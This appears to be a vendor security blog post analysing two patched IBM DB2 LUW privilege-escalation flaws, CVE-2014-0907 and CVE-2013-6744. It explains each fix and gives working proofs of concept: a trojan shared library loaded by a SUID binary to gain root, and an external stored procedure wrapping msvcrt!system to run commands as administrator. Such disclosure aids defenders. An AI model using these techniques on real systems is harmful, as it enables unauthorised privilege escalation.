About Two Recently Patched IBM DB2 LUW Vulnerabilities

ELEVATED PRIVILEGES WITH DB2 EXECUTABLES (CVE-2014-0907)

This vulnerability in DB2 LUW could allow a local user to gain root privileges. It can only be exploited by users through a local system account login. Read the advisory from the researcher who originally reported the issue here.

IBM suggests the following workaround in the bulletin:

cd <DB2_instance_install_directory>
bin/db2chglibpath -s '\.:' -r '' adm/db2iclean

Let's see what specifically was fixed and how this could be exploited by an attacker.

First, the db2chglibpath tools purpose is to alter a binary's embedded library search path. Comparingadm/db2iclean before and after running db2chglibpath on returns the following:

This means that shared libraries used by the binary will be searched in the current directory in addition to other locations.

The next step is to examine what happens when db2iclean is started: The strace utility can be used for this task.

$ sudo strace -o /tmp/db2iclean.log  /home/db2inst1/sqllib/adm/db2iclean
$ cat /tmp/db2iclean.log | more
...
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("./tls/i686/sse2/cmov/libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...
open("./cmov/libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("./libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("/DoNotCreateThisPath_marker1.*chglibpath/tls/i686/sse2/cmov/libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...

The app tries to load libdb2ure2.so.1 from the current directory before it finds it in the location where it was installed by DB2. If there is a hostile version of the library available, it will be loaded and its code will be executed as root essentially since the db2iclean is SUID root. The db2iclean itself is not publicly executable so the attacker has to be a member of the db2iadm1 group to be able to invoke the binary or entice other users to run this binary from a location where a Trojan shared library is placed.

POC

Create a Trojan library and name it after a real library used by the SUID binary:

// libdb2ure2.cpp
#include <stdlib.h>
int iGetHostName(char* n, int i)
{
    system("id > /m.log");
}

The only function name here matches the one that db2iclean expects to find and execute in the shared library.

Compile it:

$ gcc -shared -o libdb2ure2.so.1 libdb2ure2.cpp

As a regular user launch SUID binary affected by the problem in a directory where the trojan shared library is placed:

<DB2_instance_install_directory>/adm/db2iclean

Examine the result:

$ cat /m.log

uid=1004(james) gid=1001(james) euid=0(root) groups=0(root),126(db2iadm1),1001(james)

 Notice the EUID value – the code essentially runs with the highest privileges possible.

So the fix would be as IBM suggests: update SUID binaries affected so they do not look for shared libraries in the current directory anymore. Developers should never assume that it is safe to load libraries from untrusted locations!

More information about RPATH (runtime library path): http://en.wikipedia.org/wiki/Rpath

VULNERABILITY IN STORED PROCEDURE INFRASTRUCTURE CAN ALLOW ESCALATION OF PRIVILEGE TO ADMINISTRATOR (CVE-2013-6744)

This vulnerability in IBM DB2 for Linux, Unix and Windows could allow an authenticated user to obtain elevated privileges on Windows.

To exploit the vulnerability the malicious user would need:

1. Valid credentials to connect to the database
2. CONNECT privilege on the database
3. CREATE_EXTERNAL_ROUTINE authority to create an external routine. This privilege is not granted to PUBLIC by default.

As a local fix IBM suggests revoking CREATE_EXTERNAL_ROUTINE from all users and only grant the privilege to trusted users.

On a Windows platform the DB2 service runs under a privileged account by default and the fenced process spawned by the DB2 service is not subject to access control checks. That means a non-privileged user having CREATE_EXTERNAL_ROUTINE authority can create a malicious library and invoke it so it will execute with elevated privileges.

POC

Suppose we have DB2 LUW 10.1 Fix Pack 1 running on Windows in default configuration.

As a user granted the CREATE_EXTERNAL_ROUTINE authority, run the following DDL to create a wrapper around the Microsoft C runtime system function:

CREATE PROCEDURE db2_exec (IN cmd varchar(1024)) EXTERNAL NAME 'msvcrt!system' LANGUAGE C DETERMINISTIC PARAMETER STYLE DB2SQL

Then, invoke it:

CALL db2_exec('whoami /all > C:\whoami.log')

Examine the file created: it will contain the db2admin account information. This means that an unprivileged user runs code as db2admin which is a member of the local Administrators group.

Once the fix is enabled (db2set DB2_LIMIT_FENCED_GROUP=ON is a first part of it), the procedure returns an error:

SQL1646N  A routine failed because the fenced user ID cannot access required files in the sqllib directory or other instance or database directories.

Now the fenced user actions are subject to access control checks. This vulnerability affects only Windows installations because on that platform the account used to run the service is a privileged one .

VERIFYING PATCHING WITH TRUSTWAVE APPDETECTIVEPRO AND DBPROTECT

Trustwave AppDetectivePRO and DbProtect verify if IBM DB2 LUW is patched with latest updates including fixes to the issues mentioned above. Note that for the second issue (CVE-2013-6744) the fix must be manually enabled once the latest fix pack has been applied.